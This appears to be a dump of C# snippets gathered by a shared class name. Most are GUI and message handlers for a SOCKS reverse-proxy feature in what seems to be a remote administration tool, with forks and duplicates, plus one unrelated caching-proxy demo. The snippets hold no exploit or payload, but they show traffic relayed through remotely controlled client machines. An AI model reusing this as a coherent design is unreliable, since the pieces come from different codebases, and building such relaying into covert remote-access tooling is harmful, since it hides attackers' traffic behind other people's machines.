void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) { if (proxyClient.ListItem != null) { this.Invoke(new Invoky(() => { lock (LvConnections) { string totalReceivedStr = GetSizeStr(proxyClient.LengthReceived); string totalSendStr = GetSizeStr(proxyClient.LengthSended); proxyClient.ListItem.SubItems[0].Text = proxyClient.TargetServer; proxyClient.ListItem.SubItems[1].Text = proxyClient.TargetPort.ToString(); if (proxyClient.ListItem.SubItems[2].Text != totalReceivedStr) { proxyClient.ListItem.SubItems[2].Text = totalReceivedStr; } if (proxyClient.ListItem.SubItems[3].Text != totalSendStr) { proxyClient.ListItem.SubItems[3].Text = totalSendStr; } if (!proxyClient.IsConnected) { LvConnections.Items.Remove(proxyClient.ListItem); } } })); } }
private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) { lock (_reverseProxyHandler) { if (lstConnections.SelectedIndices.Count > 0) { //copy the list, it could happen that suddenly the items de-select int[] items = new int[lstConnections.SelectedIndices.Count]; lstConnections.SelectedIndices.CopyTo(items, 0); foreach (int index in items) { if (index < _openConnections.Length) { ReverseProxyClient connection = _openConnections[index]; connection?.Disconnect(); } } } } }
static void Main(string[] args) { ReverseProxyClient client = new ReverseProxyClient(); Resource res1 = new Resource(); res1.Uri = "res1"; res1.Value = 100; Resource res2 = new Resource(); res2.Uri = "res2"; res2.Value = 200; client.create(res1); // 201 client.create(res2); // 201 client.create(res2); // 403 client.get("res3"); // null client.get("res1"); // res1 from ApplicationServer client.get("res1"); // res1 from CachingProxy client.Close(); }
private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) { lock (SocksServer) { if (lstConnections.SelectedIndices.Count > 0) { int[] items = new int[lstConnections.SelectedIndices.Count]; lstConnections.SelectedIndices.CopyTo(items, 0); foreach (int index in items) { if (index < _openConnections.Length) { ReverseProxyClient connection = _openConnections[index]; if (connection != null) { connection.Disconnect(); } } } } } }
private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) { lock (SocksServer) { if (LvConnections.SelectedIndices.Count > 0) { //copy the list, it could happen the suddenly the items de-select int[] items = new int[LvConnections.SelectedIndices.Count]; LvConnections.SelectedIndices.CopyTo(items, 0); foreach (int index in items) { if (index < _openConnections.Length) { ReverseProxyClient connection = _openConnections[index]; if (connection != null) { connection.Disconnect(); } } } } } }
private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) { lock (SocksServer) { if (e.ItemIndex < _openConnections.Length) { ReverseProxyClient connection = _openConnections[e.ItemIndex]; e.Item = new ListViewItem(new string[] { connection.Client.EndPoint.ToString(), connection.Client.Value.Country, connection.TargetServer + (connection.HostName.Length > 0 ? " (" + connection.HostName + ")" : ""), connection.TargetPort.ToString(), Helper.GetDataSize(connection.LengthReceived), Helper.GetDataSize(connection.LengthSended), connection.Type.ToString() }) { Tag = connection }; } } }
private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) { lock (SocksServer) { if (e.ItemIndex < _openConnections.Length) { ReverseProxyClient connection = _openConnections[e.ItemIndex]; e.Item = new ListViewItem(new string[] { connection.Client.EndPoint.ToString(), connection.Client.Value.Ülke, (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0} ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer, connection.TargetPort.ToString(), DosyaYardımcısı.GetDataSize(connection.LengthReceived), DosyaYardımcısı.GetDataSize(connection.LengthSent), connection.Type.ToString() }) { Tag = connection }; } } }
private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) { lock (_reverseProxyHandler) { if (e.ItemIndex < _openConnections.Length) { ReverseProxyClient connection = _openConnections[e.ItemIndex]; e.Item = new ListViewItem(new string[] { connection.Client.EndPoint.ToString(), connection.Client.Value.Country, (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0} ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer, connection.TargetPort.ToString(), StringHelper.GetHumanReadableFileSize(connection.LengthReceived), StringHelper.GetHumanReadableFileSize(connection.LengthSent), connection.Type.ToString() }) { Tag = connection }; } } }
void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) { if (proxyClient.ListItem == null) { this.Invoke(new Invoky(() => { lock (LvConnections) { proxyClient.ListItem = new ListViewItem(new string[] { proxyClient.TargetServer, proxyClient.TargetPort.ToString(), proxyClient.LengthReceived / 1024 + "KB", proxyClient.LengthSended / 1024 + "KB", proxyClient.Type.ToString() }) { Tag = proxyClient }; LvConnections.Items.Add(proxyClient.ListItem); } })); } }
void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) { }
private void Execute(ISender client, ReverseProxyDisconnect message) { ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); socksClient?.Disconnect(); }
private void Execute(ISender client, ReverseProxyData message) { ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); socksClient?.SendToClient(message.Data); }
private void Execute(ISender client, ReverseProxyConnectResponse message) { ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); socksClient?.HandleCommandResponse(message); }
void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) { OnReport(_socksServer.OpenConnections); }
private void Execute(ISender client, ReverseProxyData message) { ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); proxyClient?.SendToTargetServer(message.Data); }
void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) { }
private void ReverseProxyCommandOnClientAdded(object sender, ReverseProxyClient reverseProxyClient) { Application.Current.Dispatcher.BeginInvoke(new Action(() => ReverseProxyClients.Add(reverseProxyClient))); }
void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) { OnReport(_socksServer.OpenConnections); }